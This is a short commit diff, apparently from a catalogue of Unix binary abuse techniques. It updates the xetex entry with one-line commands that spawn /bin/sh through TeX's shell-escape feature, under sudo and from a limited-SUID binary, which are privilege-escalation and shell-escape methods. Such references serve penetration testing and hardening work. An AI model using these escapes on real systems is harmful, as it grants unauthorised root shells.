Fix and improve TeX binaries and GNU Octave

This commit is contained in:
Andrea Cardaci
2021-04-26 16:06:18 +02:00
parent 806c8054eb
commit 21b641911e
11 changed files with 126 additions and 55 deletions

View File

@@ -1,5 +1,12 @@
---
functions:
shell:
- code: |
xetex --shell-escape '\write18{/bin/sh}\end'
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
sudo xetex -interaction=nonstopmode -shell-escape file.tex
sudo xetex --shell-escape '\write18{/bin/sh}\end'
limited-suid:
- code: |
./xetex --shell-escape '\write18{/bin/sh}\end'
---